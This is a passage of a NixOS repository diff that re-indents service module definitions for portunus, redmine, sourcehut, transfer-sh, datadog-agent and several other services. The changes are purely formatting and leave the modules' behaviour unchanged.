+          "TMPFILE_PATH=${stateDir}/tmp"
+          "TZ_DATA_PATH=${stateDir}/extras/elixir_tz_data"
+          "LOG_LEVEL=${cfg.logLevel}"
+          "PHX_SERVER=true"
+        ]
+        ++ optional cfg.selfhosted [ "RUN_CONTEXT=selfhosted" ]
+        ++ attrValues (mapAttrs (name: value: name + "=" + builtins.toString value) cfg.extraConfig);
         EnvironmentFile = optional (cfg.secretsFile != null) cfg.secretsFile;
         ExecStartPre = "${lib.getExe' cfg.package "migrate"}";
         ExecStart = "${getExe cfg.package} start";
diff --git a/nixos/modules/services/misc/portunus.nix b/nixos/modules/services/misc/portunus.nix
index 33a49fb25ee7..022efc5b9839 100644
--- a/nixos/modules/services/misc/portunus.nix
+++ b/nixos/modules/services/misc/portunus.nix
@@ -263,34 +263,33 @@ in
           ExecStart = "${cfg.package}/bin/portunus-orchestrator";
           Restart = "on-failure";
         };
-        environment =
+        environment = {
+          PORTUNUS_LDAP_SUFFIX = cfg.ldap.suffix;
+          PORTUNUS_SERVER_BINARY = "${cfg.package}/bin/portunus-server";
+          PORTUNUS_SERVER_GROUP = cfg.group;
+          PORTUNUS_SERVER_USER = cfg.user;
+          PORTUNUS_SERVER_HTTP_LISTEN = "127.0.0.1:${toString cfg.port}";
+          PORTUNUS_SERVER_STATE_DIR = cfg.stateDir;
+          PORTUNUS_SLAPD_BINARY = "${cfg.ldap.package}/libexec/slapd";
+          PORTUNUS_SLAPD_GROUP = cfg.ldap.group;
+          PORTUNUS_SLAPD_USER = cfg.ldap.user;
+          PORTUNUS_SLAPD_SCHEMA_DIR = "${cfg.ldap.package}/etc/schema";
+        }
+        // (lib.optionalAttrs (cfg.seedPath != null) ({
+          PORTUNUS_SEED_PATH = cfg.seedPath;
+        }))
+        // (lib.optionalAttrs cfg.ldap.tls (
+          let
+            acmeDirectory = config.security.acme.certs."${cfg.domain}".directory;
+          in
           {
-            PORTUNUS_LDAP_SUFFIX = cfg.ldap.suffix;
-            PORTUNUS_SERVER_BINARY = "${cfg.package}/bin/portunus-server";
-            PORTUNUS_SERVER_GROUP = cfg.group;
-            PORTUNUS_SERVER_USER = cfg.user;
-            PORTUNUS_SERVER_HTTP_LISTEN = "127.0.0.1:${toString cfg.port}";
-            PORTUNUS_SERVER_STATE_DIR = cfg.stateDir;
-            PORTUNUS_SLAPD_BINARY = "${cfg.ldap.package}/libexec/slapd";
-            PORTUNUS_SLAPD_GROUP = cfg.ldap.group;
-            PORTUNUS_SLAPD_USER = cfg.ldap.user;
-            PORTUNUS_SLAPD_SCHEMA_DIR = "${cfg.ldap.package}/etc/schema";
+            PORTUNUS_SERVER_HTTP_SECURE = "true";
+            PORTUNUS_SLAPD_TLS_CA_CERTIFICATE = config.security.pki.caBundle;
+            PORTUNUS_SLAPD_TLS_CERTIFICATE = "${acmeDirectory}/cert.pem";
+            PORTUNUS_SLAPD_TLS_DOMAIN_NAME = cfg.domain;
+            PORTUNUS_SLAPD_TLS_PRIVATE_KEY = "${acmeDirectory}/key.pem";
           }
-          // (lib.optionalAttrs (cfg.seedPath != null) ({
-            PORTUNUS_SEED_PATH = cfg.seedPath;
-          }))
-          // (lib.optionalAttrs cfg.ldap.tls (
-            let
-              acmeDirectory = config.security.acme.certs."${cfg.domain}".directory;
-            in
-            {
-              PORTUNUS_SERVER_HTTP_SECURE = "true";
-              PORTUNUS_SLAPD_TLS_CA_CERTIFICATE = config.security.pki.caBundle;
-              PORTUNUS_SLAPD_TLS_CERTIFICATE = "${acmeDirectory}/cert.pem";
-              PORTUNUS_SLAPD_TLS_DOMAIN_NAME = cfg.domain;
-              PORTUNUS_SLAPD_TLS_PRIVATE_KEY = "${acmeDirectory}/key.pem";
-            }
-          ));
+        ));
       };
     };
 
diff --git a/nixos/modules/services/misc/redlib.nix b/nixos/modules/services/misc/redlib.nix
index 3e3cd31a814c..25245c441d2f 100644
--- a/nixos/modules/services/misc/redlib.nix
+++ b/nixos/modules/services/misc/redlib.nix
@@ -93,26 +93,25 @@ in
     systemd.services.redlib = {
       wantedBy = [ "default.target" ];
       environment = mapAttrs (_: v: if isBool v then boolToString' v else toString v) cfg.settings;
-      serviceConfig =
-        {
-          ExecStart = [
-            ""
-            "${lib.getExe cfg.package} ${args}"
-          ];
-        }
-        // (
-          if (cfg.port < 1024) then
-            {
-              AmbientCapabilities = [ "CAP_NET_BIND_SERVICE" ];
-              CapabilityBoundingSet = [ "CAP_NET_BIND_SERVICE" ];
-            }
-          else
-            {
-              # A private user cannot have process capabilities on the host's user
-              # namespace and thus CAP_NET_BIND_SERVICE has no effect.
-              PrivateUsers = true;
-            }
-        );
+      serviceConfig = {
+        ExecStart = [
+          ""
+          "${lib.getExe cfg.package} ${args}"
+        ];
+      }
+      // (
+        if (cfg.port < 1024) then
+          {
+            AmbientCapabilities = [ "CAP_NET_BIND_SERVICE" ];
+            CapabilityBoundingSet = [ "CAP_NET_BIND_SERVICE" ];
+          }
+        else
+          {
+            # A private user cannot have process capabilities on the host's user
+            # namespace and thus CAP_NET_BIND_SERVICE has no effect.
+            PrivateUsers = true;
+          }
+      );
     };
 
     networking.firewall = mkIf cfg.openFirewall {
diff --git a/nixos/modules/services/misc/redmine.nix b/nixos/modules/services/misc/redmine.nix
index 913eb3e4daec..c9860493af14 100644
--- a/nixos/modules/services/misc/redmine.nix
+++ b/nixos/modules/services/misc/redmine.nix
@@ -24,27 +24,26 @@ let
   bundle = "${cfg.package}/share/redmine/bin/bundle";
 
   databaseSettings = {
-    production =
-      {
-        adapter = cfg.database.type;
-        database =
-          if cfg.database.type == "sqlite3" then "${cfg.stateDir}/database.sqlite3" else cfg.database.name;
-      }
-      // optionalAttrs (cfg.database.type != "sqlite3") {
-        host =
-          if (cfg.database.type == "postgresql" && cfg.database.socket != null) then
-            cfg.database.socket
-          else
-            cfg.database.host;
-        port = cfg.database.port;
-        username = cfg.database.user;
-      }
-      // optionalAttrs (cfg.database.type != "sqlite3" && cfg.database.passwordFile != null) {
-        password = "#dbpass#";
-      }
-      // optionalAttrs (cfg.database.type == "mysql2" && cfg.database.socket != null) {
-        socket = cfg.database.socket;
-      };
+    production = {
+      adapter = cfg.database.type;
+      database =
+        if cfg.database.type == "sqlite3" then "${cfg.stateDir}/database.sqlite3" else cfg.database.name;
+    }
+    // optionalAttrs (cfg.database.type != "sqlite3") {
+      host =
+        if (cfg.database.type == "postgresql" && cfg.database.socket != null) then
+          cfg.database.socket
+        else
+          cfg.database.host;
+      port = cfg.database.port;
+      username = cfg.database.user;
+    }
+    // optionalAttrs (cfg.database.type != "sqlite3" && cfg.database.passwordFile != null) {
+      password = "#dbpass#";
+    }
+    // optionalAttrs (cfg.database.type == "mysql2" && cfg.database.socket != null) {
+      socket = cfg.database.socket;
+    };
   };
 
   databaseYml = format.generate "database.yml" databaseSettings;
@@ -413,10 +412,11 @@ in
     ];
 
     systemd.services.redmine = {
-      after =
-        [ "network.target" ]
-        ++ optional mysqlLocal "mysql.service"
-        ++ optional pgsqlLocal "postgresql.service";
+      after = [
+        "network.target"
+      ]
+      ++ optional mysqlLocal "mysql.service"
+      ++ optional pgsqlLocal "postgresql.service";
       wantedBy = [ "multi-user.target" ];
       environment.RAILS_ENV = "production";
       environment.RAILS_CACHE = "${cfg.stateDir}/cache";
diff --git a/nixos/modules/services/misc/renovate.nix b/nixos/modules/services/misc/renovate.nix
index 503aed8fdb91..38ee2795fceb 100644
--- a/nixos/modules/services/misc/renovate.nix
+++ b/nixos/modules/services/misc/renovate.nix
@@ -100,7 +100,8 @@ in
       path = [
         config.systemd.package
         pkgs.git
-      ] ++ cfg.runtimePackages;
+      ]
+      ++ cfg.runtimePackages;
 
       serviceConfig = {
         User = "renovate";
diff --git a/nixos/modules/services/misc/rmfakecloud.nix b/nixos/modules/services/misc/rmfakecloud.nix
index ec3ecc612fec..674309ddbf45 100644
--- a/nixos/modules/services/misc/rmfakecloud.nix
+++ b/nixos/modules/services/misc/rmfakecloud.nix
@@ -83,7 +83,8 @@ in
         STORAGE_URL = cfg.storageUrl;
         PORT = toString cfg.port;
         LOGLEVEL = cfg.logLevel;
-      } // cfg.extraSettings;
+      }
+      // cfg.extraSettings;
 
       preStart = ''
         # Generate the secret key used to sign client session tokens.
diff --git a/nixos/modules/services/misc/rshim.nix b/nixos/modules/services/misc/rshim.nix
index e52135893b41..49296f0e2f05 100644
--- a/nixos/modules/services/misc/rshim.nix
+++ b/nixos/modules/services/misc/rshim.nix
@@ -8,12 +8,13 @@
 let
   cfg = config.services.rshim;
 
-  rshimCommand =
-    [ "${cfg.package}/bin/rshim" ]
-    ++ lib.optionals (cfg.backend != null) [ "--backend ${cfg.backend}" ]
-    ++ lib.optionals (cfg.device != null) [ "--device ${cfg.device}" ]
-    ++ lib.optionals (cfg.index != null) [ "--index ${builtins.toString cfg.index}" ]
-    ++ [ "--log-level ${builtins.toString cfg.log-level}" ];
+  rshimCommand = [
+    "${cfg.package}/bin/rshim"
+  ]
+  ++ lib.optionals (cfg.backend != null) [ "--backend ${cfg.backend}" ]
+  ++ lib.optionals (cfg.device != null) [ "--device ${cfg.device}" ]
+  ++ lib.optionals (cfg.index != null) [ "--index ${builtins.toString cfg.index}" ]
+  ++ [ "--log-level ${builtins.toString cfg.log-level}" ];
 in
 {
   options.services.rshim = {
diff --git a/nixos/modules/services/misc/snapper.nix b/nixos/modules/services/misc/snapper.nix
index 7a0c291dbfb0..8f189b22019d 100644
--- a/nixos/modules/services/misc/snapper.nix
+++ b/nixos/modules/services/misc/snapper.nix
@@ -257,22 +257,21 @@ in
 
         # Note: snapper/config-templates/default is only needed for create-config
         #       which is not the NixOS way to configure.
-        etc =
-          {
+        etc = {
 
-            "sysconfig/snapper".text = ''
-              SNAPPER_CONFIGS="${lib.concatStringsSep " " (builtins.attrNames cfg.configs)}"
-            '';
-          }
-          // (lib.mapAttrs' (
-            name: subvolume:
-            lib.nameValuePair "snapper/configs/${name}" ({
-              text = lib.generators.toKeyValue { inherit mkKeyValue; } (
-                lib.filterAttrs (k: v: v != defaultOf k) subvolume
-              );
-            })
-          ) cfg.configs)
-          // (lib.optionalAttrs (cfg.filters != null) { "snapper/filters/default.txt".text = cfg.filters; });
+          "sysconfig/snapper".text = ''
+            SNAPPER_CONFIGS="${lib.concatStringsSep " " (builtins.attrNames cfg.configs)}"
+          '';
+        }
+        // (lib.mapAttrs' (
+          name: subvolume:
+          lib.nameValuePair "snapper/configs/${name}" ({
+            text = lib.generators.toKeyValue { inherit mkKeyValue; } (
+              lib.filterAttrs (k: v: v != defaultOf k) subvolume
+            );
+          })
+        ) cfg.configs)
+        // (lib.optionalAttrs (cfg.filters != null) { "snapper/filters/default.txt".text = cfg.filters; });
       };
 
       services.dbus.packages = [ pkgs.snapper ];
diff --git a/nixos/modules/services/misc/sourcehut/service.nix b/nixos/modules/services/misc/sourcehut/service.nix
index dce07c6d1182..329e7efdb329 100644
--- a/nixos/modules/services/misc/sourcehut/service.nix
+++ b/nixos/modules/services/misc/sourcehut/service.nix
@@ -50,10 +50,11 @@ let
     mkMerge [
       extraService
       {
-        after =
-          [ "network.target" ]
-          ++ optional cfg.postgresql.enable "postgresql.service"
-          ++ optional cfg.redis.enable "redis-sourcehut-${srvsrht}.service";
+        after = [
+          "network.target"
+        ]
+        ++ optional cfg.postgresql.enable "postgresql.service"
+        ++ optional cfg.redis.enable "redis-sourcehut-${srvsrht}.service";
         requires =
           optional cfg.postgresql.enable "postgresql.service"
           ++ optional cfg.redis.enable "redis-sourcehut-${srvsrht}.service";
@@ -83,16 +84,15 @@ let
           # config.ini is looked up in there, before /etc/srht/config.ini
           # Note that it fails to be set in ExecStartPre=
           WorkingDirectory = mkDefault ("-" + runDir);
-          BindReadOnlyPaths =
-            [
-              builtins.storeDir
-              "/etc"
-              "/run/booted-system"
-              "/run/current-system"
-              "/run/systemd"
-            ]
-            ++ optional cfg.postgresql.enable "/run/postgresql"
-            ++ optional cfg.redis.enable "/run/redis-sourcehut-${srvsrht}";
+          BindReadOnlyPaths = [
+            builtins.storeDir
+            "/etc"
+            "/run/booted-system"
+            "/run/current-system"
+            "/run/systemd"
+          ]
+          ++ optional cfg.postgresql.enable "/run/postgresql"
+          ++ optional cfg.redis.enable "/run/redis-sourcehut-${srvsrht}";
           # LoadCredential= are unfortunately not available in ExecStartPre=
           # Hence this one is run as root (the +) with RootDirectoryStartOnly=
           # to reach credentials wherever they are.
@@ -159,94 +159,93 @@ let
     ];
 in
 {
-  options.services.sourcehut.${srv} =
-    {
-      enable = mkEnableOption "${srv} service";
+  options.services.sourcehut.${srv} = {
+    enable = mkEnableOption "${srv} service";
 
-      package = mkPackageOption pkgs [ "sourcehut" pkgname ] { };
+    package = mkPackageOption pkgs [ "sourcehut" pkgname ] { };
 
-      user = mkOption {
+    user = mkOption {
+      type = types.str;
+      default = srvsrht;
+      description = ''
+        User for ${srv}.sr.ht.
+      '';
+    };
+
+    group = mkOption {
+      type = types.str;
+      default = srvsrht;
+      description = ''
+        Group for ${srv}.sr.ht.
+        Membership grants access to the Git/Mercurial repositories by default,
+        but not to the config.ini file (where secrets are).
+      '';
+    };
+
+    port = mkOption {
+      type = types.port;
+      default = port;
+      description = ''
+        Port on which the "${srv}" backend should listen.
+      '';
+    };
+
+    redis = {
+      host = mkOption {
         type = types.str;
-        default = srvsrht;
+        default = "unix:///run/redis-sourcehut-${srvsrht}/redis.sock?db=0";
+        example = "redis://shared.wireguard:6379/0";
         description = ''
-          User for ${srv}.sr.ht.
+          The redis host URL. This is used for caching and temporary storage, and must
+          be shared between nodes (e.g. git1.sr.ht and git2.sr.ht), but need not be
+          shared between services. It may be shared between services, however, with no
+          ill effect, if this better suits your infrastructure.
         '';
       };
-
-      group = mkOption {
-        type = types.str;
-        default = srvsrht;
-        description = ''
-          Group for ${srv}.sr.ht.
-          Membership grants access to the Git/Mercurial repositories by default,
-          but not to the config.ini file (where secrets are).
-        '';
-      };
-
-      port = mkOption {
-        type = types.port;
-        default = port;
-        description = ''
-          Port on which the "${srv}" backend should listen.
-        '';
-      };
-
-      redis = {
-        host = mkOption {
-          type = types.str;
-          default = "unix:///run/redis-sourcehut-${srvsrht}/redis.sock?db=0";
-          example = "redis://shared.wireguard:6379/0";
-          description = ''
-            The redis host URL. This is used for caching and temporary storage, and must
-            be shared between nodes (e.g. git1.sr.ht and git2.sr.ht), but need not be
-            shared between services. It may be shared between services, however, with no
-            ill effect, if this better suits your infrastructure.
-          '';
-        };
-      };
-
-      postgresql = {
-        database = mkOption {
-          type = types.str;
-          default = "${srv}.sr.ht";
-          description = ''
-            PostgreSQL database name for the ${srv}.sr.ht service,
-            used if [](#opt-services.sourcehut.postgresql.enable) is `true`.
-          '';
-        };
-      };
-
-      gunicorn = {
-        extraArgs = mkOption {
-          type = with types; listOf str;
-          default = [
-            "--timeout 120"
-            "--workers 1"
-            "--log-level=info"
-          ];
-          description = "Extra arguments passed to Gunicorn.";
-        };
-      };
-    }
-    // optionalAttrs webhooks {
-      webhooks = {
-        extraArgs = mkOption {
-          type = with types; listOf str;
-          default = [
-            "--loglevel DEBUG"
-            "--pool eventlet"
-            "--without-heartbeat"
-          ];
-          description = "Extra arguments passed to the Celery responsible for webhooks.";
-        };
-        celeryConfig = mkOption {
-          type = types.lines;
-          default = "";
-          description = "Content of the `celeryconfig.py` used by the Celery responsible for webhooks.";
-        };
-      };
     };
 
+    postgresql = {
+      database = mkOption {
+        type = types.str;
+        default = "${srv}.sr.ht";
+        description = ''
+          PostgreSQL database name for the ${srv}.sr.ht service,
+          used if [](#opt-services.sourcehut.postgresql.enable) is `true`.
+        '';
+      };
+    };
+
+    gunicorn = {
+      extraArgs = mkOption {
+        type = with types; listOf str;
+        default = [
+          "--timeout 120"
+          "--workers 1"
+          "--log-level=info"
+        ];
+        description = "Extra arguments passed to Gunicorn.";
+      };
+    };
+  }
+  // optionalAttrs webhooks {
+    webhooks = {
+      extraArgs = mkOption {
+        type = with types; listOf str;
+        default = [
+          "--loglevel DEBUG"
+          "--pool eventlet"
+          "--without-heartbeat"
+        ];
+        description = "Extra arguments passed to the Celery responsible for webhooks.";
+      };
+      celeryConfig = mkOption {
+        type = types.lines;
+        default = "";
+        description = "Content of the `celeryconfig.py` used by the Celery responsible for webhooks.";
+      };
+    };
+  };
+
   config = lib.mkIf (cfg.enable && srvCfg.enable) (mkMerge [
     extraConfig
     {
@@ -258,19 +257,18 @@ in
             description = mkDefault "sourcehut user for ${srv}.sr.ht";
           };
         };
-        groups =
-          {
-            "${srvCfg.group}" = { };
-          }
-          //
-            optionalAttrs
-              (cfg.postgresql.enable && hasSuffix "0" (postgresql.settings.unix_socket_permissions or ""))
-              {
-                "postgres".members = [ srvCfg.user ];
-              }
-          // optionalAttrs (cfg.redis.enable && hasSuffix "0" (redis.settings.unixsocketperm or "")) {
-            "redis-sourcehut-${srvsrht}".members = [ srvCfg.user ];
-          };
+        groups = {
+          "${srvCfg.group}" = { };
+        }
+        //
+          optionalAttrs
+            (cfg.postgresql.enable && hasSuffix "0" (postgresql.settings.unix_socket_permissions or ""))
+            {
+              "postgres".members = [ srvCfg.user ];
+            }
+        // optionalAttrs (cfg.redis.enable && hasSuffix "0" (redis.settings.unixsocketperm or "")) {
+          "redis-sourcehut-${srvsrht}".members = [ srvCfg.user ];
+        };
       };
 
       services.nginx = mkIf cfg.nginx.enable {
diff --git a/nixos/modules/services/misc/tandoor-recipes.nix b/nixos/modules/services/misc/tandoor-recipes.nix
index 8f1cb4cbadde..0f233ccb1da4 100644
--- a/nixos/modules/services/misc/tandoor-recipes.nix
+++ b/nixos/modules/services/misc/tandoor-recipes.nix
@@ -9,17 +9,16 @@ let
   pkg = cfg.package;
 
   # SECRET_KEY through an env file
-  env =
-    {
-      GUNICORN_CMD_ARGS = "--bind=${cfg.address}:${toString cfg.port}";
-      DEBUG = "0";
-      DEBUG_TOOLBAR = "0";
-      MEDIA_ROOT = "/var/lib/tandoor-recipes";
-    }
-    // lib.optionalAttrs (config.time.timeZone != null) {
-      TZ = config.time.timeZone;
-    }
-    // (lib.mapAttrs (_: toString) cfg.extraConfig);
+  env = {
+    GUNICORN_CMD_ARGS = "--bind=${cfg.address}:${toString cfg.port}";
+    DEBUG = "0";
+    DEBUG_TOOLBAR = "0";
+    MEDIA_ROOT = "/var/lib/tandoor-recipes";
+  }
+  // lib.optionalAttrs (config.time.timeZone != null) {
+    TZ = config.time.timeZone;
+  }
+  // (lib.mapAttrs (_: toString) cfg.extraConfig);
 
   manage = pkgs.writeShellScript "manage" ''
     set -o allexport # Export the following env vars
diff --git a/nixos/modules/services/misc/taskserver/default.nix b/nixos/modules/services/misc/taskserver/default.nix
index dc9033b5a23b..27f9ed77f400 100644
--- a/nixos/modules/services/misc/taskserver/default.nix
+++ b/nixos/modules/services/misc/taskserver/default.nix
@@ -475,24 +475,23 @@ in
 
         # server
         trust = cfg.trust;
-        server =
-          {
-            listen = "${cfg.listenHost}:${toString cfg.listenPort}";
-          }
-          // (
-            if needToCreateCA then
-              {
-                cert = "${cfg.dataDir}/keys/server.cert";
-                key = "${cfg.dataDir}/keys/server.key";
-                crl = "${cfg.dataDir}/keys/server.crl";
-              }
-            else
-              {
-                cert = "${cfg.pki.manual.server.cert}";
-                key = "${cfg.pki.manual.server.key}";
-                ${lib.mapNullable (_: "crl") cfg.pki.manual.server.crl} = "${cfg.pki.manual.server.crl}";
-              }
-          );
+        server = {
+          listen = "${cfg.listenHost}:${toString cfg.listenPort}";
+        }
+        // (
+          if needToCreateCA then
+            {
+              cert = "${cfg.dataDir}/keys/server.cert";
+              key = "${cfg.dataDir}/keys/server.key";
+              crl = "${cfg.dataDir}/keys/server.crl";
+            }
+          else
+            {
+              cert = "${cfg.pki.manual.server.cert}";
+              key = "${cfg.pki.manual.server.key}";
+              ${lib.mapNullable (_: "crl") cfg.pki.manual.server.crl} = "${cfg.pki.manual.server.crl}";
+            }
+        );
 
         ca.cert = if needToCreateCA then "${cfg.dataDir}/keys/ca.cert" else "${cfg.pki.manual.ca.cert}";
       };
diff --git a/nixos/modules/services/misc/transfer-sh.nix b/nixos/modules/services/misc/transfer-sh.nix
index 0433f8971507..b5ab11883f7a 100644
--- a/nixos/modules/services/misc/transfer-sh.nix
+++ b/nixos/modules/services/misc/transfer-sh.nix
@@ -85,50 +85,48 @@ in
       stateDirectory = "/var/lib/transfer.sh";
     in
     mkIf cfg.enable {
-      services.transfer-sh.settings =
-        {
-          LISTENER = mkDefault ":8080";
-        }
-        // optionalAttrs localProvider {
-          BASEDIR = mkDefault stateDirectory;
-        };
+      services.transfer-sh.settings = {
+        LISTENER = mkDefault ":8080";
+      }
+      // optionalAttrs localProvider {
+        BASEDIR = mkDefault stateDirectory;
+      };
 
       systemd.services.transfer-sh = {
         after = [ "network.target" ];
         wantedBy = [ "multi-user.target" ];
         environment = mapAttrs (_: v: if isBool v then boolToString v else toString v) cfg.settings;
-        serviceConfig =
-          {
-            DevicePolicy = "closed";
-            DynamicUser = true;
-            ExecStart = "${getExe cfg.package} --provider ${cfg.provider}";
-            LockPersonality = true;
-            MemoryDenyWriteExecute = true;
-            PrivateDevices = true;
-            PrivateUsers = true;
-            ProtectClock = true;
-            ProtectControlGroups = true;
-            ProtectHostname = true;
-            ProtectKernelLogs = true;
-            ProtectKernelModules = true;
-            ProtectKernelTunables = true;
-            ProtectProc = "invisible";
-            RestrictAddressFamilies = [
-              "AF_INET"
-              "AF_INET6"
-            ];
-            RestrictNamespaces = true;
-            RestrictRealtime = true;
-            SystemCallArchitectures = [ "native" ];
-            SystemCallFilter = [ "@system-service" ];
-            StateDirectory = baseNameOf stateDirectory;
-          }
-          // optionalAttrs (cfg.secretFile != null) {
-            EnvironmentFile = cfg.secretFile;
-          }
-          // optionalAttrs localProvider {
-            ReadWritePaths = cfg.settings.BASEDIR;
-          };
+        serviceConfig = {
+          DevicePolicy = "closed";
+          DynamicUser = true;
+          ExecStart = "${getExe cfg.package} --provider ${cfg.provider}";
+          LockPersonality = true;
+          MemoryDenyWriteExecute = true;
+          PrivateDevices = true;
+          PrivateUsers = true;
+          ProtectClock = true;
+          ProtectControlGroups = true;
+          ProtectHostname = true;
+          ProtectKernelLogs = true;
+          ProtectKernelModules = true;
+          ProtectKernelTunables = true;
+          ProtectProc = "invisible";
+          RestrictAddressFamilies = [
+            "AF_INET"
+            "AF_INET6"
+          ];
+          RestrictNamespaces = true;
+          RestrictRealtime = true;
+          SystemCallArchitectures = [ "native" ];
+          SystemCallFilter = [ "@system-service" ];
+          StateDirectory = baseNameOf stateDirectory;
+        }
+        // optionalAttrs (cfg.secretFile != null) {
+          EnvironmentFile = cfg.secretFile;
+        }
+        // optionalAttrs localProvider {
+          ReadWritePaths = cfg.settings.BASEDIR;
+        };
       };
     };
 
diff --git a/nixos/modules/services/misc/wastebin.nix b/nixos/modules/services/misc/wastebin.nix
index 499b071e4f3e..c6c66daac317 100644
--- a/nixos/modules/services/misc/wastebin.nix
+++ b/nixos/modules/services/misc/wastebin.nix
@@ -143,36 +143,35 @@ in
       after = [ "network.target" ];
       wantedBy = [ "multi-user.target" ];
       environment = mapAttrs (_: v: if isBool v then boolToString v else toString v) cfg.settings;
-      serviceConfig =
-        {
-          DevicePolicy = "closed";
-          DynamicUser = true;
-          ExecStart = "${getExe cfg.package}";
-          LockPersonality = true;
-          MemoryDenyWriteExecute = true;
-          PrivateDevices = true;
-          PrivateUsers = true;
-          ProtectClock = true;
-          ProtectControlGroups = true;
-          ProtectHostname = true;
-          ProtectKernelLogs = true;
-          ProtectKernelModules = true;
-          ProtectKernelTunables = true;
-          ProtectProc = "invisible";
-          RestrictAddressFamilies = [
-            "AF_INET"
-            "AF_INET6"
-          ];
-          RestrictNamespaces = true;
-          RestrictRealtime = true;
-          SystemCallArchitectures = [ "native" ];
-          SystemCallFilter = [ "@system-service" ];
-          StateDirectory = baseNameOf cfg.stateDir;
-          ReadWritePaths = cfg.stateDir;
-        }
-        // optionalAttrs (cfg.secretFile != null) {
-          EnvironmentFile = cfg.secretFile;
-        };
+      serviceConfig = {
+        DevicePolicy = "closed";
+        DynamicUser = true;
+        ExecStart = "${getExe cfg.package}";
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        PrivateDevices = true;
+        PrivateUsers = true;
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        RestrictAddressFamilies = [
+          "AF_INET"
+          "AF_INET6"
+        ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        SystemCallArchitectures = [ "native" ];
+        SystemCallFilter = [ "@system-service" ];
+        StateDirectory = baseNameOf cfg.stateDir;
+        ReadWritePaths = cfg.stateDir;
+      }
+      // optionalAttrs (cfg.secretFile != null) {
+        EnvironmentFile = cfg.secretFile;
+      };
     };
   };
 
diff --git a/nixos/modules/services/misc/workout-tracker.nix b/nixos/modules/services/misc/workout-tracker.nix
index 13555504be30..617363e6c398 100644
--- a/nixos/modules/services/misc/workout-tracker.nix
+++ b/nixos/modules/services/misc/workout-tracker.nix
@@ -67,7 +67,8 @@ in
         WT_BIND = "${cfg.address}:${toString cfg.port}";
         WT_DATABASE_DRIVER = "sqlite";
         WT_DSN = "./database.db";
-      } // cfg.settings;
+      }
+      // cfg.settings;
       serviceConfig = {
         ExecStart = lib.getExe cfg.package;
         DynamicUser = true;
diff --git a/nixos/modules/services/monitoring/datadog-agent.nix b/nixos/modules/services/monitoring/datadog-agent.nix
index 431c8fcadcdb..dd943d4cf7dd 100644
--- a/nixos/modules/services/monitoring/datadog-agent.nix
+++ b/nixos/modules/services/monitoring/datadog-agent.nix
@@ -7,31 +7,30 @@
 let
   cfg = config.services.datadog-agent;
 
-  ddConf =
-    {
-      skip_ssl_validation = false;
-      confd_path = "/etc/datadog-agent/conf.d";
-      additional_checksd = "/etc/datadog-agent/checks.d";
-      use_dogstatsd = true;
-    }
-    // lib.optionalAttrs (cfg.logLevel != null) { log_level = cfg.logLevel; }
-    // lib.optionalAttrs (cfg.hostname != null) { inherit (cfg) hostname; }
-    // lib.optionalAttrs (cfg.ddUrl != null) { dd_url = cfg.ddUrl; }
-    // lib.optionalAttrs (cfg.site != null) { site = cfg.site; }
-    // lib.optionalAttrs (cfg.tags != null) { tags = lib.concatStringsSep ", " cfg.tags; }
-    // lib.optionalAttrs (cfg.enableLiveProcessCollection) {
-      process_config = {
-        dd_agent_bin = "${datadogPkg}/bin/agent";
-        process_collection.enabled = "true";
-        container_collection.enabled = "true";
-      };
-    }
-    // lib.optionalAttrs (cfg.enableTraceAgent) {
-      apm_config = {
-        enabled = true;
-      };
-    }
-    // cfg.extraConfig;
+  ddConf = {
+    skip_ssl_validation = false;
+    confd_path = "/etc/datadog-agent/conf.d";
+    additional_checksd = "/etc/datadog-agent/checks.d";
+    use_dogstatsd = true;
+  }
+  // lib.optionalAttrs (cfg.logLevel != null) { log_level = cfg.logLevel; }
+  // lib.optionalAttrs (cfg.hostname != null) { inherit (cfg) hostname; }
+  // lib.optionalAttrs (cfg.ddUrl != null) { dd_url = cfg.ddUrl; }
+  // lib.optionalAttrs (cfg.site != null) { site = cfg.site; }
+  // lib.optionalAttrs (cfg.tags != null) { tags = lib.concatStringsSep ", " cfg.tags; }
+  // lib.optionalAttrs (cfg.enableLiveProcessCollection) {
+    process_config = {
+      dd_agent_bin = "${datadogPkg}/bin/agent";
+      process_collection.enabled = "true";
+      container_collection.enabled = "true";
+    };
+  }
+  // lib.optionalAttrs (cfg.enableTraceAgent) {
+    apm_config = {
+      enabled = true;
+    };
+  }
+  // cfg.extraConfig;
 
   # Generate Datadog configuration files for each configured checks.
   # This works because check configurations have predictable paths,
diff --git a/nixos/modules/services/monitoring/goss.nix b/nixos/modules/services/monitoring/goss.nix
index b53df0806d26..9ed2a3d078ad 100644
--- a/nixos/modules/services/monitoring/goss.nix
+++ b/nixos/modules/services/monitoring/goss.nix
@@ -74,7 +74,8 @@ in
 
       environment = {
         GOSS_FILE = configFile;
-      } // cfg.environment;
+      }
+      // cfg.environment;
 
       reloadTriggers = [ configFile ];
 
diff --git a/nixos/modules/services/monitoring/grafana-to-ntfy.nix b/nixos/modules/services/monitoring/grafana-to-ntfy.nix
index 66e338d7b2c6..db35792363b8 100644
--- a/nixos/modules/services/monitoring/grafana-to-ntfy.nix
+++ b/nixos/modules/services/monitoring/grafana-to-ntfy.nix
@@ -70,23 +70,21 @@ in
         exec ${lib.getExe cfg.package}
       '';
 
-      environment =
-        {
-          NTFY_URL = cfg.settings.ntfyUrl;
-          BAUTH_USER = cfg.settings.bauthUser;
-        }
-        // lib.optionalAttrs (cfg.settings.ntfyBAuthUser != null) {
-          NTFY_BAUTH_USER = cfg.settings.ntfyBAuthUser;
-        };
+      environment = {
+        NTFY_URL = cfg.settings.ntfyUrl;
+        BAUTH_USER = cfg.settings.bauthUser;
+      }
+      // lib.optionalAttrs (cfg.settings.ntfyBAuthUser != null) {
+        NTFY_BAUTH_USER = cfg.settings.ntfyBAuthUser;
+      };
 
       serviceConfig = {
-        LoadCredential =
-          [
-            "BAUTH_PASS_FILE:${cfg.settings.bauthPass}"
-          ]
-          ++ lib.optional (
-            cfg.settings.ntfyBAuthPass != null
-          ) "NTFY_BAUTH_PASS_FILE:${cfg.settings.ntfyBAuthPass}";
+        LoadCredential = [
+          "BAUTH_PASS_FILE:${cfg.settings.bauthPass}"
+        ]
+        ++ lib.optional (
+          cfg.settings.ntfyBAuthPass != null
+        ) "NTFY_BAUTH_PASS_FILE:${cfg.settings.ntfyBAuthPass}";
 
         DynamicUser = true;
